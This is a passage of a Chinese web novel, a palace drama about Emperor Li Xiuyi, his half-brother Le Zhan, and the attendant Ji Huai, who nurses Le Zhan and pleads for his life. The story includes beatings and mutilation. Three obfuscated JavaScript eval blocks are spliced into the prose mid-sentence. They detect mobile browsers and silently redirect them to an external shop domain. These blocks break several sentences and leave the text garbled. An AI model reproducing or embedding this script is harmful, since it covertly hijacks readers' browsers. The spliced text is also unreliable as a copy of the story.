萧复雪喉口一滞,想开口宽慰乐湛两句,可张口无言。 是的,她不开心,做这个无欲无求,温婉谦和的皇后一点也不开心,但是作为后宫之主,她必须必须活得像一个精神图腾,所有的感情,所有的不开心都要堙没在萧皇后的身份底下。 所有的人里,就只有乐湛会透过萧皇后的身份,来问她开不开心。 她要舍弃一切私欲做一个人人赞颂的皇后,李修宜是翱翔天际的鹰,即便万般不舍她也只能放手,到最后能握在手里的,也就只有一个乐湛。 “是这样的,大人的心里都藏着茫茫的烦恼,”萧复雪替他将头发别到耳后,“所以啊,我们小乐,慢一点长大吧,再多做几年孩子。” 乐湛背后的伤口没有处理,转眼发起了高烧,昏厥无意识的时间比清醒的时间长,他侧身蜷在蒲团上,就像婴孩的时候,还在母后的怀里,听她讲狐狸尾巴的故事。 这些年,他一次也没有梦到过母后,以为是她对他失望了,不愿看他。 可在这唯一一次的梦里,萧复雪抱着年幼的乐湛,她含着淡淡的忧伤说:“慢一点长大吧,再做一回孩子。” 里面没有互相残杀的生死场,也没有怨恨蚀骨的指责,只有那一年悠悠过隙的时光和淡淡的馨香,阳光照在他的身上,生起洋洋暖意。 大人的烦恼,原来是这样。 还好那跟身为小孩子的乐湛没关系,他不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171707|196832||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用去理解那些过于复杂的感情,他的眼里只能看到母后,只能看到她的喜怒哀乐。 乐湛烧得有些糊涂了,迷迷糊糊地开始笑起来,慢慢连笑的力气也没有了,心绞痛和伤口为他深陷的神智吊了一口气,昏不过去醒不过来,但这已经是乐湛这三年来睡过最安稳的一觉。 永怀宫前。 郎官看见有人朝大殿这边走,生怕又是要闯禁的,赶紧搬出皇帝劝退,“陛下有令,任何人不得进入永怀宫,季常侍请回吧。” 不出意外,这一位又是跟齐王有着深仇大恨的人。 当年乐湛因为忌惮季怀曾经是李修宜身边的人,猜忌他的用心,将人废了一条手臂丢进掖庭做杂役,磋磨了三年。 但是他万万没想到正是这一举动给自己埋下了祸根。 宫变之际无人值守,掖庭的杂役是最容易接触到被囚的皇帝,季怀拿了皇帝的亲召,跑到城墙上大声宣读。 本就强弩之末的皇城兵直接放弃顽抗,丢了枪戟四散分逃。 季怀止住步子,“我不进去,只是来看一看,里面那位……现在还好吗?” 郎官以为季怀也是与李锦玉一样冲着报复的目的来的,故意将人说得要多惨有多惨,要多狼狈有多狼狈,好给他解一解气。 “怎么好得起来欸,哎呦,刚关进来的时候人已经半死不活了,你说这刑仗底下硬扛了二十来下,当时过去了也就罢了,偏偏还含着一口气,进来开始就一声不吭缩着,食水也不让给,已经过去三天了,”郎官有意讨好,故意说道:“陛下不许,咱们也不敢进去看一眼,说不准人早就没了。” 季怀抿着唇,看着那紧闭的门,目光有些说不准意味的深远,“我知道了,劳烦公公。” 人已经转身之后郎官才敢将目光移到他的右臂上,尽管衣袍宽大,但还是能看出一边的手臂更单薄一些。 听说当时他被一刀一刀剐掉了手臂上的血肉,只剩下白骨伶仃,经脉全断了,九死一生啊。 郎官一想到那般便忍不住龇牙咧嘴摇摇头,自己的手臂也感同身受跟着痛起来。 但他没想到季怀会忽然回过头,郎官赶紧将脸上的心思藏起来,“怎么了,还有什么吩咐,季常侍?” 季怀迟疑了一下,“能让我去看看他吗?” 果然不亲眼见到仇人是如何凄惨,光听人说是万万不能解气的,郎官故作为难地样子,稍作推脱最后还是答应了,能在规定之外换一个人情,何乐而不为呢。 郎官带着季怀来到侧面的窗子,通过镂空能看见地上那一个蜷缩的小小人影,连呼吸的幅度都看不见,安静得像一只能放在手心的人偶。 季怀的手扶住窗棂,想看得真切一些,忍不住往前倾了倾身,像是害怕吵醒里面熟睡的人,他轻声问,“殿下自进来起便是这样了吗?” “是啊,三天了,不声不响的。”郎官深感佩服,都这样了还喊一声殿下呢。 季怀沉默良久,转身对郎官说,“多谢公公今日行方便,这份情我记下了。” “这又是哪里的话,”郎官赶紧摆摆手,摆出担当不起的样子,实则等的便是这一句。 季怀知道待久了要坏事,实则他今天这一趟压根就不该来,宫中之事谁又能瞒得过那双眼呢,临走前最后看了一眼里面,本就揣着的心事更重了些。 郎官送走季怀,不由感慨其人品高贵,就算生死仇人落得现在这个下场他也只是看一眼便走了。 8. 死对头x2 上清宫 李修宜正埋头政务,季怀从侧面静步走来,替了何岑的岗,正埋头专心研墨,李修宜的笔尖顿了顿,他便心领神会将案牍撤下,换上另外一卷摊开。 袖子在李修宜的跟前扫过,有淡淡的祭香飘过,他面不改色问,“去过永怀宫了?” 季怀短暂地愣了一下,随即放好手里的墨砚,撤了两步跪下,“是,臣只是在门外远远看了一眼。” “回个话而已,不必动辄下跪,”李修宜一把将人捞起来,因为感念他当日冒着被射杀的风险拿到圣旨,李修宜待他总是比其他人更尊重些,“瞧得怎么样了。” 季怀未敢拿乔,依旧恭顺道,“不知生死。” 李修宜收回目光,“这是他应得的,你不必觉得哪里亏欠于他。” 季怀见他心意已决,不敢再劝,只继续研墨,那只残废了一半的右手总显得有些瘦骨伶仃,握着墨条的动作有些废力。 李修宜多看了一眼,“你这只手现在如何了。” 季怀回道,“谢陛下关怀,经过庆公诊治,现在已经能够正常使力了,庆公还说幸好受伤之初叫人将手经缝上,要不然也不会恢复得如此顺利。” 受伤之初那个时候,除了乐湛还有谁敢私自替他诊治,他的言下之意李修宜怎么会听不明白。 就连这一次袖子上染上香,季怀这么一个谨小慎微的人怎么会意识不到,但他没有换一件衣服再来李修宜跟前服侍,无非是故意让他知晓,好借此求情。 “当年是我命你去服侍李璟,这几年你受了他不少罪,朕总得对得住你。” 季怀复又跪下,“陛下英明决断,臣不敢妄言置喙,但还请陛下无论做什么决定,切勿以臣为念。” 他不在的这三年真是光景变了,从前与李璟交恶的人反倒一个接一个的到他面前求起情来,李修宜看着季怀有些气笑了,“你到现在还在给那个孽畜求情,忘了你这只手是怎么伤的了?” “其实当年也有臣的不是,万都统怀凶器行刺时,殿下险些丧命,正在气头上的时候,是臣不分场合上前替万都统的家人求情,被迁怒也是情理之中,殿下没有一怒之下连我一起杀了,只废了我一只手,事后还让人保住我的手臂,臣心中很感激。” 李修宜捏捏眉心,懒得去看他愚忠到了极点的样子。 见他不置一词,季怀便继续说下去了,“而且殿下到最后还是放过了万家。” 李修宜的神色终于有些松动。 “当日陛下的封赏臣没有接受,您许诺了臣一个请求,不知道现在还作数吗?” 李修宜颇诧异地看过来,“你想好了?就此一次,你要用在李璟身上?他废了你的手你也甘愿?” 季怀为自己说出口的话后怕心惊,他这是在挟恩图报,对别人的人也就罢了,但这是皇帝,能不能忍得下他这番行为全看君主的气度,但他不能不说下去,“臣自认愚钝蠢笨,当年您将臣安排在殿下身边,不就是看中忠心这一点,不论何等境况都要保住殿下,臣的作用不就是在此刻吗?” 李修宜怔了一瞬,连他自己都在怀疑,这个决定难道真的是十五岁的自己在跟现在的他对抗吗? 无论如何也要保住乐湛,至少那个时候的他是这么想的。 手指逐渐收紧,拇指摩挲着食指的关节,良久之后,在季怀祈求又不自觉带了点急切的目光中,他摆了摆手,季怀大喜过望,谢过之后忙起身快步朝永怀宫走去。 李修宜低头看着案牍上墨黑的字,头一回觉得心浮气躁,一个字也看不下去,所有的黑色揉成一团再铺开,毫无秩序地摆在眼前,每一个字都了熟于心,每一个字又毫无意义。 不应该,太不应该了。 他只能一头扎进去,逼着自己逐字逐句看下去,即便是再难以按捺,也不允许自己有丝毫的深思摇惑。 季怀甚至来不及等御医就已经赶到永怀宫,看见乐湛仍是开始那样安安静静地蜷着。 季怀走上前握住他的肩,“殿下?能听到吗?” 手里的人已经完全丧失意志,失血过多皮肤呈现出不正常的惨白,薄如蝉翼的皮肤之下青紫色的经脉肉眼可见,好像布满裂纹,用力稍重就会碎裂一地的白玉瓷器。 季怀心不由得猛跳,他去探乐湛的鼻息,已经完全感受不到呼吸,季怀的脸色霎时白了,他不得不更冒犯一些,拉开衣领把手放在放在他心口的位置,几乎是屏息凝神,用手去感受胸腔细微的脉动。 确定还活着季怀才稍微安心了些,可不管他唤多少声,乐湛都沉沉地闭着眼恍若未闻。 季怀回头看了一眼宫门,只怕御医已经到了,再不快些就要来不及了,只得道一声,“冒犯了,殿下。” 刚拉起他的一只手,乐湛的脑袋就脱力地垂吊下去,季怀害怕伤了他的脖子,忙将乐湛的后脑扶住,拦腿抱进怀里,季怀一刻也不敢耽搁,忙朝着外面跑去。 可就在他刚刚踏出殿门的那一刻,乐湛用孩子的口气模糊不清地喊了一声“母后”。 季怀步伐一顿,他回头看向墙上挂着的先皇后,好像有一双眼正温和慈善地看着他们,缠满绷带的右手按住乐湛的肩颈,微微躬身朝着画像行了一礼,而后头也不回地转身离去。 这场来势汹汹的大病叫乐湛昏厥了十日,中间仍是一声不吭,除了逐渐和缓的呼吸声,一点要醒过来的征兆也看不见,谈庆公一直说着“不保证,只能尽人事听天命”。 他在治季怀的手也说的这句话,但他的“不保证”最后都大好了,季怀对他的医术还是相当信任的,这几日忙前忙后的也都是他,从不假他人之手,还求了陛下的准允,在御前告假几日,日夜不离地专心照看。 这天夜里在在榻前守着的时候,听见床上的人迷迷糊糊似乎念了一声什么。 季怀睡意未消,还没来得及睁开眼就已经爬起来,他凑近去听,“怎么了殿下?身上不舒服吗?” 乐湛虚张着嘴,整张脸就只有嘴上还有点颜色。 季怀险些将耳朵贴上他的嘴边这才勉强听见了一句,“冷……” “冷吗?我现在去给你拿被子。” “不。”乐湛俨然还在昏迷中,声音不自觉带了些孩子气,一听他说要走,原本没有一丝表情的面孔忽然皱到一块。 季怀再度跪在床前,“不要被子?殿下想要什么?” 乐湛再次意识不清地喊了声“母后”。 这些话不是他该听的,季怀缄默低头,又想起了哪日他在城墙之上高举圣旨的时候,乐湛看他的眼神是如何恨之入骨恨不得食其肉啖其血,要是乐湛醒了,知道是他照顾的这几日只会更厌恶痛恨他。 “我去拿被子。” 乐湛好似哪里不舒服,嘴里细碎地哼唧出声,像是挣扎着要坐起来的样子。 “怎么了?这是怎么了?”季怀手忙脚乱地比划一阵,不知道怎么下手,唯恐伤了他哪里,看来还是得去请谈庆公来看看,万一涉及病情被耽搁了就不好了。 季怀有点慌乱地看了一眼外面的暮色,就算深更半夜打扰他老人家休息不太礼貌,且极有可能被劈头大骂一顿他也不得不跑这一趟了。 季怀来不及穿衣,只披上了一件外衫就要外出,刚合上门就听见床下“咚”得一声响,季怀吃了一惊,赶紧赶回去,就见着锦被团成一个团掉到了地上,床榻上空荡荡的什么也没有,走进了些能看见藏在月白锦被里露出几缕发丝。 “殿下!” 季怀放下要出门照亮的油灯,赶紧跑过去,顺着露出来的发丝探到了乐湛藏起来的脸。 乐湛发着抖,颤巍巍竟然说出了一句完整的话,“母后,再抱抱我,冷。” 季怀连着被子将他抱起来放到床上,没想到手臂被压在底下,看着乐湛的眉眼,硬是没忍心抽出来,他很少有睡得这么安稳的时候。 乐湛一遍遍地喊着好冷,却又不放他走,他想叫门外的守卫却又怕高声说话惊吓了乐湛,只得将被子再往上提一提。 在乐湛的一再要求下,他无可奈何连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不是的!他只是害怕再次沦为案板上的鱼肉,他只是不甘心就这样活一回,他不是真的想要哥哥死! 乐湛慌了,喊着母后去追,不管跑得多快他们的距离始终只差一点点,就在触手可及的瞬间,他拼命想拉住那个往黑暗里走的人影,摊开手一看,还是扑了个空。 抬头环顾,他又站在暴雪肆虐的邙山之上,手里的剑不断地往下滴血,李修宜站在风雪里看着他,黑洞洞的眼里流出血泪,脸上也是如母后一般的表情,失望又厌恶。 乐湛顿时生出了一种举目无依的寥落。 梦境现实之间隔着一层捅不破的窗户纸,他怎么样也醒不过来,他被困在那一年邙山的风雪里了。 季怀看见乐湛低低地哭起来,赶紧将身上的被子放下,过去查看他的情况,“可是哪里有不舒服的地方?” 乐湛弓起腰,微微挺起胸口,“好痛……” “背上痛吗?”季怀已经可以很熟悉地揣摩出他要说的话,他扶着乐湛的肩头,将他侧过身去,“这样呢?侧着会好一点吗?” 没想到一侧过身乐湛更是痛的忍不住溢声,压着的手臂从身下抽出来,季怀这才想起他的手断了刚接上,赶紧将他放平,正苦思有什么两全的办法,乐湛已经伸手勾住他的脖子,竭尽全力地向上够着想要坐起来,嘴里不断喊着疼。 季怀弓着身僵在原地,他清楚的知道乐湛清醒后会有多怨恨他,而他也只需要全一场主仆的缘分,然后在他醒来之前有多远躲多远就够了。 季怀拉下他的手,“睡吧,睡着就不疼了。” 乐湛在梦里彷徨失措地打转,所有人都走了,只留下他一个人站在原地,母后,哥哥,父王,还有季怀,曾经他拥有过的东西也在一点点的从他手指缝里溜走,他怎么也抓不住,乐湛蹙紧了眉不作声,忽然他哭起来,那哭的样子就像一个小孩子,蓦地他又抑住了哭声。 为什么?为什么所有人都不要他了? 9. 小三变小四 近日不断有人上书,称九王祸乱朝纲,篡逆不孝,请求皇帝将其处死以清君侧,这群人都是一等一会看脸色的老狐狸,揣度着圣上的心意,皇帝不想留下杀害手足的名声,于是请求赐死李璟的声音一天比一天浩大,给了皇帝一个不得已而为之的理由,既保全了他仁厚的名声,也处置了一个心腹大患。 可递上去的奏折就像滴入海里的一滴水,连一点涟漪都没激起,朝中诸臣开始摸不着头脑了。 李修宜看着桌上高高撂起的奏折,神色不定,指尖在黑檀幽暗的桌面上轻轻点着,良久后,终于对何岑道,“备架。” “是,”何岑问道,“陛下要去何处?” 李修宜起身,“朕去瞧瞧那个小孽畜。” 圣驾方到了寝屋门前,隔着一道门的距离,一声有气无力的“哥”就飘出来。 李修宜闻声脚步一顿,身后的随侍跟着低头噤声。 可再一仔细听,才发现乐湛喊的是:“季怀哥。” 他认出了这个熟悉的怀抱,从前无数次从噩梦里惊醒,便是这个人安抚地拍着他的后背,轻声哄道:“又魇住了吗?醒来就好了,醒来就好了。” 季怀愣神了好久,他很久很久没有听过乐湛这么喊他,恍惚间好像是上辈子的事。 “嗯,我在这里。”他最后还是没有抗住乐湛的胡搅蛮缠,抱了他一整夜,胳膊已经酸得没有知觉了,幸好做杂役那几年锻炼出来了一点力气,否则连人都抱不起来了。 乐湛的额头抵在他的肩膀上,没听到似的又急切地喊了一声,“季怀哥。” 乐湛一遍遍地喊他,季怀便一遍遍地应声。 “对不起,我不是故意要废了你,我……”乐湛噎声,两滴眼泪就已经落在了季怀的侧颈上,“我只是接受不了你喜欢哥哥胜过了喜欢我,别人也就罢了,谁都没关系,为什么连你也要背叛我?” 乐湛靠在肩上,说话能感受到他的脑袋一耸一耸,怪痒痒的,季怀垂下眼睛,“臣有错。” “为什么,就不能再多喜欢我一点呢?”乐湛的眼泪浸透了季怀胸口那一片,暖过之后泛着微微凉意,“我恨你,我恨死你们了!” 乐湛哭够了,终于沉沉睡去。 季怀小心拉住他的手,将乐湛轻轻放在床上,仔细掖好被子,腰酸得一时直不起来,他低头看了一眼自己的右手,有丝丝缕缕的血色从绷带里头洇出来。 他这才感觉到一丝刺痒,想起庆公嘱托过他最近不能使力,看来事情有些麻烦了,大概又要被臭骂一顿。 季怀把乐湛安顿好,转头叫了宫人来照看,打算回去上些药。 “季常侍,今日不在里头照看吗?”看宫门的小公公同他打招呼。 季怀点点头,温声道,“嗯,回去休整休整。” “辛苦啦,连轴转谁也受不住啊,陛下还是疼惜您的。” “陛下?”季怀一时没明白他的意思。 那小公公自己也蒙了,“不是陛下让你休息两日吗?我看见昨夜陛下好像来了一趟,”小公公有些意外,“您没瞧见陛下吗?” 昨天皇帝来了一趟?那为什么没有露面就走了呢?季怀沉吟良久,而后朝了那小公公作了一揖,“我知晓了,多谢公公提点。” 提点?什么提点?小公公挠了挠头,怎么没听明白呢? 李修宜下朝之后照例来到上清宫处理政务,进来就看见空旷森严的大殿跪着一个人影。 他并不着急叫他起来,而是目不斜视地越过季怀,慢悠悠走到高高玉阶之上的陛座上坐下,翻看着案牍,不急不缓随口说了一句,“这是怎么了?为何做出一副要向朕负荆请罪的样子。” “那日殿下的状态极为凶险,臣一时心急所以出言不恭敬,陛下未曾怪罪但是臣不敢不知轻重,现在病情缓和了些,臣请罪来迟,请陛下降罪。” 高堂上的那位撂了手里的案牍,“季怀。” “是。”季怀背弓得更低。 “你知道你的错处在哪吗?” 季怀看了一眼皇帝,“臣愚钝。” “你不是愚钝,你是太聪明,错便错在喜欢在朕面前卖弄聪明,朕要罚你你躲不过去,朕不愿罚你你装作什么都不知道就是,不必要跑到朕面前求着降罪,还是说,”李修宜顿了顿,费解地倾身向前,“你觉得朕就是那般心胸狭窄之人?” “臣未有此意!” “ 好了,朕既然许了你去照看就不会因此降罪,不用怀着多余的心思,”李修宜微微一笑,“这毕竟是朕的弟弟,看到你这么尽心朕很高兴,起来吧。” 季怀应声起身,瞧着皇帝和煦的面色,却莫名感到了威胁的凝视。 看来往后行事务必要再小心谨慎一些。 季怀刚从皇帝处回来,就听人说乐湛哇地吐了一地的血,他面色惊变,赶紧赶了过去,只见乐湛紧皱着眉,咬着牙好像在忍耐着什么天大的痛苦,被子下的身体不断的扭动挣扎。 “这是怎么了?庆公来过了吗?他怎么说的?”季怀拍着被子安抚他,转身去问那小宫侍。 “回侍中的话,庆公说这是正常的,只要将体内积压的污血吐出来就好了,大概就是这两日了。” 季怀将他脸上被汗浸湿的头发拨到后面去,颇爱怜地看着他对一边的小宫侍说,“我从今日起就不在跟前伺候了,你们替我照看着,直到殿下醒来为止吧。” “侍中不在这伺候了吗?”宫侍颇惊讶地走过来询问。 季怀微笑着点点头,“嗯,殿下就拜托给你们了。” “那侍中在这里稍等一些,我们去安排一下手里的事务,即刻就过来。” “去吧,我先在这里照看着。” 季怀看着几人远去的背影,不知怎得竟在死寂的空气里觉察出了几分要告别的寥落,他们主仆的缘分应当是就到这里了。 最后又替乐湛掖了下被子,一只惨白的手立刻紧攥住他的胸口,抬眼一看,那双碧色的眼里清清明明的分明一点睡意也没有。 “是你!”乐湛怒视着他,几乎咬牙切齿地从牙关里挤出两个字,恨不能用眼神将他刮下一层皮。 “殿下既然醒了,臣便先行告退。” 乐湛扯着季怀的衣领不松手,他环视屋里的陈设, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171709|196832||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有些没想起来自己为什么会出现在这里,季怀念着他背后的伤,也不好同他拉扯,只是躬身任他拽着。 乐湛对他的记忆还停留在那日正阳门宫变之时,他的贴身内侍,从小看着他长大的人,居然高举着令敌军入正阳门的圣旨,明知道李修宜回来之后不会放过他。 明明是他与季怀相处的时间更长一点,明明季怀是他的奴才才对,就连他也是偏向李修宜,偏向那个死了三年的人! 嫉妒与怨恨将他那颗负有顽疾的心脏一点一点生吞活剥,吃痛地捂住心口,紧闭着眼,咬牙挨过最开始的那阵剧痛,可抓住季怀的手却丝毫未松。 季怀便这般漠然看着他痛,乐湛终于缓过劲了,揪着他坐起身来,“是李祯让你专门来羞辱我的?” “陛下没有那么狭隘的心思,是臣主动要求的。”季怀声音冷硬地目视前方。 “真会维护你的主子,”乐湛粗暴地将他的目光拽回来,“怎么?都是给人当奴才,当他的狗就比当我的狗风光些吗?” 季怀垂下眼,就是不去看他,“陛下仁德明君,自然万民臣服。” 否则也不会在短短一两年时间号召如此大规模的军队,甚至在攻城的时候邺城周边的郡县不战而降,而后打着拥护正统的旗号将邺城围了个水泄不通,几乎不费一兵一卒就拿下正阳门。 “说得好听!”说到这里乐湛更是怒火中烧,“狗就是狗,自己把自己当成个人物,一个废人而已谁瞧得上,也就是现在在李祯面前得意,他愿意捏着鼻子给你两分薄面,难保哪天他不会嫌一个残废留在跟前碍手,到时候你的下场不会比我好到那里去!” “那样也没关系,只要朝纲稳定,天下归心,臣怎么样都无所谓。” 乐湛几乎咬碎了一口呀,气得不住的发抖,恨不得撕下他一块肉下来,为什么所有人都认为只有他李修宜能叫天下归心,凭什么?他不过是占了一个出身好,除此之外他有哪一点比不上李修宜。 便是季怀这副“无所谓,都可以”的软柿子样最叫乐湛生气,好像打出去的力气全部都落到了自己身上,乐湛更是恶狠狠将他拧住,“行,我就看着你能硬撑多久,你是背叛了旧主上位的,我不信李祯真能对你一点疑心都没有,被自以为圣明的君主猜疑,对你这条听话的好狗来说应该是不小的打击吧,我睁着眼等着那一天。” 季怀稍微扯回了一点自己要变形的领口,“陛下是最明事理的君主,他不会因为疑心而动杀念。” 言下之意,李祯不是昏庸的人,昏庸的是他。 乐湛气得有些晕眩,血一时供应不到大脑里去。 “我真是失算了,我该废的不止你这只手,还有你这条腿,这根舌头,还有这张令人生厌的脸,我都该一并废了才是!我看你还怎么向父王要圣旨,怎么跑到城墙上,怎么背叛我!” “朕还当你受了这些皮肉之苦应该悔改了,没想到还是这么冥顽不灵!” 愠怒为他的声音添了十足的威严,乐湛几乎瞬间撒了手,小脸惨白地看向门外。 李修宜心中厌恶至极,摆摆手转身,就有一队侍卫上前拖人。 10. 白玉虎头 季怀亦是震惊不小,他不敢阻拦禁卫,只得转而去求发号施令的皇帝,但李修宜只一个眼神就将他镇住,只得站在一边,不敢放肆。 乐湛被按在李修宜脚下,竹板高高悬于上空,拼命地想逃却被无数双手按住无法动弹,只能破口大骂,“你这个贱人!分明知道李祯在旁边故意挑衅我揪我的错,你要是有种今天就杀了我,但凡让我活着一日,我便一日不会放过你!” 重重砸下来的竹板生生打断他的怒骂,只剩下咬牙忍耐的痛哼。 季怀焦灼地两边看看,刚要跪下求皇帝宽恕,就见着李修宜的脸色一寸一寸地阴沉下来,“看见了?你充这个烂好人有什么用,谁领你的情呢?” 眼看着乐湛昂起来的脖子一点点垂下去,声音一声比一声低弱,季怀目光焦急闪烁,索性霍出一条命跪下,“ 殿下他大病初愈,只怕经不起这番刑罚!求陛下开恩!” 那是他的弟弟!怎么还轮上一个外人来求情了,李修宜瞟了一眼跪在地上的季怀,又飞速掠过目光。 李修宜抬手,侍卫们便自觉停手,他们看出来皇帝未有杀心,这人也实在禁不起他的三两杖,都收着力气在打。 “要是没有季怀替你求情,你以为自己还活得到现在?”月白的身影静静地趴着,李修宜的耐心在极速流逝,“朕最后问你一次,知道错了吗?” 乐湛死死咬着唇,咬得下唇红红斑斑滴出一滴鲜红的血珠。 就像从前那么多年里一样,只要李修宜说他做错了,他就必须承认自己错了,即便他从没觉得自己哪里错了,他都必须去服软,去讨好,因为只有他和母后是自己全部的仰仗,他必须竭尽全力去奉承他们,每每看着他姿态高傲,以主宰的身份去审判他,乐湛一边做小伏低,一边恨得要命。 就连现在,在他死前也要完完全全控制他的想法,要在赏赐他一个痛快的死法前听到他说一句“我错了。” 妈的,凭什么?凭什么他生下来就要低人一等? 乐湛怨恨抬眼,双眼泣血地盯着李修宜,“李祯。” 季怀心中一惊,已经有了不好的预感,李修宜已经从圆椅上起身,“打死。” 轻飘飘几个字直接宣判了他的死期。 侍卫不再手下留情,乐湛顿时失声喊了一声,他明显感觉到了这一仗的分量和前面完全不同,血淹没了他的喉口,呛出口的血染红了大半张脸,他感受到了命不久矣的味道,乐湛咽下这一口浓烈的腥甜,抱着必死的决心,朝着李修宜背影大喊,“为什么你就不能死在邙山呢!喝了毒酒就好好的去死啊!为什么要活着回来?李祯!我死也不会放过你的,我在底下等着你,我看老天能眷顾你到什么时候!” 李修宜肃然回头,在场无不心惊。 “这就是你们当的好差事,在你们手底下的人还能说得出话来?” 侍卫们浑身一震,更卖力地高高举起刑杖,正欲一击毙命,乐湛闭紧了双眼,那一仗却久久没有落到他身上,再睁眼,便是季怀那张令人生厌的脸,他太阳穴紧绷着突出几根青筋,细细密密的汗已经渗透出来了。 乐湛怔愣了一瞬,惊恐地回头看去,就看见季怀双手擎住高举的刑杖,血迹瞬间浸透绷带顺着滴下来,一滴砸在乐湛的眼下,凉得他浑身一颤。 伤重倒是其次,他在违抗李修宜的命令,而这也是李修宜最不能容忍的事。 乐湛未有丝毫领情,反而脸上的憎恶更深,“少在这里装模作样,不就是想要我激怒李祯,好叫他更下定决心杀了我吗,以为我看不出来,你们两个狗杂碎沆瀣一气,还在我面前唱什么红白脸……” 李修宜张开虎口一把扼住乐湛大骂的口,乐湛未设防备,被指骨生生地卡住一个字也吐不出来,看见李修宜逼近的脸,那副嚣张的气焰仍未减退,看生死仇人一般怒瞪着他。 “叫我什么?”李修宜声音冷冽彻骨,一字一字重复说,“狗杂碎,这是你该对我说出口的话?” 乐湛两眼猩红地抓着他的手,这混蛋明明都打算杀他了,这时候还要纠正什么礼仪规范。 “带走。” “陛下……”季怀不能确实这个两个字是生意还是死意,还要再劝,但是这一回李修宜并未给他什么好脸色,“你应该知道自己今天的行为有多僭越吧。” 季怀沉默下去。 “你即便再宽宥他,也该让他明白什么是是非黑白。” 只有活着的人才需要明白是非,死人是不需要明白的,季怀明白他这是要饶恕乐湛一条性命,不由喜上眉梢。 可看着乐湛被暴力拖拽的身影,还有背后伤口崩裂的血色,季怀不免开始忧虑,也不知道活着对他来说到底算不算是一个好消息。 被丢到上清宫的阶前,乐湛因为余怒未消,眼眶还散着热气,他扶膝坐起来,不愿意再在李修宜面前做小伏低,很坦白地回看李修宜的注视。 “季怀的手是怎么废的?用的什么刀,剜了多少下,说说看。” 何岑:“回陛下的话,用的是万家短刀,一共剜了十三道,大臂四道小臂五道手掌四道。” 想起那日血肉飞溅的情景,乐湛如有同感般捂住隐隐作痛的手臂,再怎么强撑也难□□露出几分色厉内荏的意味,“这么着急要给你的狗报仇?看来他还真是没跟错主子。” “掌嘴。” 何岑应声走上前来,乐湛登时脸色大变,挡住他扬起来的手,另外一只手死死攥住何岑侧腰的衣服,厉声大喊,“你敢!” 相比起杖刑来说,掌嘴的羞辱意味更重,要是李修宜打的也就罢了,那好歹也是他哥,乐湛认了,可何岑一个太监凭什么打他!他有什么资格教训他? 可惜何岑不是季怀,他对李修宜的命令无有不从,乐 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李修宜默然,“只有你自己的手是手,别人的就不是了?不让你尝尝苦头你怎么会悔过?动手。” 乐湛被无数双手抓住手腕,死死按在地面上动弹不得,强烈的恐惧已经让他感受不到刀刃划过手臂的剧痛了,他的另一只手薅住李修宜的衣袍不肯松,声泪俱下地认错,只可惜他的眼泪对现在的李修宜已经没有作用了。 “我们十几年的手足之情,你不能这么对我,哥哥!” 小巧圆润的坠子在空气里一下一下的摇晃,随着主人胸口剧烈的起伏,像是要活过来一样,李修宜一眼就看见了乐湛掉出领口的坠子,那是一只白玉虎头,反射了殿外的日光,折射在他脸上的光束一下一下的摇晃。 李修宜看着已经和从前面目全非的人还戴着这东西,他觉得讽刺,又觉得玷污,刺眼得很。 胸前吊着的坠子被人一把扯下,乐湛瞬间顾不上示弱求饶了,顿时勃然大怒,抬手去抢,好像这个东西比他的性命更重要,“还给我!那是我的东西!” 李修宜扬起手躲了,看着手中坠子,“看看你现在这个样子,你还配提以前吗?” 他还记得乐湛小时候是多善良可爱的一个孩子,甚至会同情一个犯了错的宫人而给他的家人送钱财,究竟是为什么在他的眼皮子底下一步步变成了现在这个样子? 还是说他原本就是一块又冷又硬的顽石,不过是在他面前装成璞玉,一直装了十几年,李修宜不只是生气,更多的是懊恼。 他怎么会看走了眼,怎么会把这样一个人当作至亲手足疼爱了十几年?怎么会直到这一刻才看清楚了他的真面目? 李修宜竟头一次感到了挫败,远超过那一日喝下鸩酒的挫败感,恨不得立刻就将这个败笔抹杀掉。 11. 回忆章 无重楼上,细细的风声从耳边掠过,王城里就连风都是细软的,带过脸颊留下轻轻的痒。 他从詹事府回来便喜欢登上高楼,看看脚底下亦步亦趋的蚂蚁,这么无聊的事已经是他按部就班的生活里唯一能称得上的消遣,或者连消遣都不算,他只是爬上岸来透口气。 只有看着他们,李修宜才能感觉到那么一点点,他活着的意义。 看的久了,忽然觉得没趣。 替他们的人生感到没趣。 “哥哥,母后让我……”乐湛小心走到李修宜身后,目光却在瞬间接触他的视线的时候一下子吓得退缩了一步,他现在就想跑回去找母后。 乐湛从来没有见过李修宜这副表情,生冷藐视好像看着一个毫不相干的人,他更加确定哥哥似乎真的不喜欢他,人前的面目寸寸崩裂,在没有一个人的无重楼上,原本的面目分毫毕现。 “怎么了?” 李修宜的目光恢复往日的平淡清雅,好像刚才那一瞬间只是个错觉。 乐湛转了转眼睛,有点生疏害怕地说,“母后让我叫你下去,我们一起去长乐宫用晚膳。” “我知道了。” 